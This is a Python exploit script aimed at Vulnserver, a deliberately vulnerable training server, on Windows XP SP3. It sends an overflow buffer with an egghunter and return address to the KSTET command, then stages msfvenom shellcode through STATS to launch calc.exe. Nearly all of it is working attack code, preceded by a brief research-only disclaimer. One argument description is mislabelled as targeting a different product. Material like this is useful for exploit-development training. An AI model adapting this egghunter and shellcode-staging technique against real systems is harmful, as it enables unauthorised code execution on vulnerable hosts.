'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Vulnserver 
		Available Here: https://github.com/stephenbradshaw/vulnserver
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''

import socket
import os
import sys
import argparse
import time

parser = argparse.ArgumentParser(description='Easy File Sharing Web Server Exploit')
parser.add_argument('-t', '--target', action='store', help='IP Address of the target Machine', default="", required=True)
parser.add_argument('-p', '--port', action='store', help='Port Number of the target Machine', default="", required=True, type=int)
args = parser.parse_args()

'''
=======================================================================
Setting stage for final shellcode
=======================================================================
'''

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
egghunter += "\x61\x62\x68\x69"						#abhi is being used as our egg 
egghunter += "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

buffer = "KSTET "
buffer += "A" * 18
buffer += "\x90" * 5
buffer += egghunter
buffer += "\x90" * (70 - 18 - 5 - 32)
buffer += "\x10\xb3\x45\x7e"
buffer += "\x90\x90\xeb\xc4"
buffer += "C" * (2000 - len(buffer))

request = buffer
sock.send(request)
sock.close()

'''
=======================================================================
Setting stage for final shellcode
=======================================================================
'''

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v "shellcode"
shellcode = "abhiabhi"
shellcode +=  b""
shellcode += b"\xd9\xe1\xd9\x74\x24\xf4\xb8\xd4\x7e\x96\x34"
shellcode += b"\x5b\x2b\xc9\xb1\x31\x31\x43\x18\x03\x43\x18"
shellcode += b"\x83\xeb\x28\x9c\x63\xc8\x38\xe3\x8c\x31\xb8"
shellcode += b"\x84\x05\xd4\x89\x84\x72\x9c\xb9\x34\xf0\xf0"
shellcode += b"\x35\xbe\x54\xe1\xce\xb2\x70\x06\x67\x78\xa7"
shellcode += b"\x29\x78\xd1\x9b\x28\xfa\x28\xc8\x8a\xc3\xe2"
shellcode += b"\x1d\xca\x04\x1e\xef\x9e\xdd\x54\x42\x0f\x6a"
shellcode += b"\x20\x5f\xa4\x20\xa4\xe7\x59\xf0\xc7\xc6\xcf"
shellcode += b"\x8b\x91\xc8\xee\x58\xaa\x40\xe9\xbd\x97\x1b"
shellcode += b"\x82\x75\x63\x9a\x42\x44\x8c\x31\xab\x69\x7f"
shellcode += b"\x4b\xeb\x4d\x60\x3e\x05\xae\x1d\x39\xd2\xcd"
shellcode += b"\xf9\xcc\xc1\x75\x89\x77\x2e\x84\x5e\xe1\xa5"
shellcode += b"\x8a\x2b\x65\xe1\x8e\xaa\xaa\x99\xaa\x27\x4d"
shellcode += b"\x4e\x3b\x73\x6a\x4a\x60\x27\x13\xcb\xcc\x86"
shellcode += b"\x2c\x0b\xaf\x77\x89\x47\x5d\x63\xa0\x05\x0b"
shellcode += b"\x72\x36\x30\x79\x74\x48\x3b\x2d\x1d\x79\xb0"
shellcode += b"\xa2\x5a\x86\x13\x87\x95\xcc\x3e\xa1\x3d\x89"
shellcode += b"\xaa\xf0\x23\x2a\x01\x36\x5a\xa9\xa0\xc6\x99"
shellcode += b"\xb1\xc0\xc3\xe6\x75\x38\xb9\x77\x10\x3e\x6e"
shellcode += b"\x77\x31\x5d\xf1\xeb\xd9\x8c\x94\x8b\x78\xd1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

stagger = "STATS "
stagger += shellcode

sock.send(stagger)
sock.close()
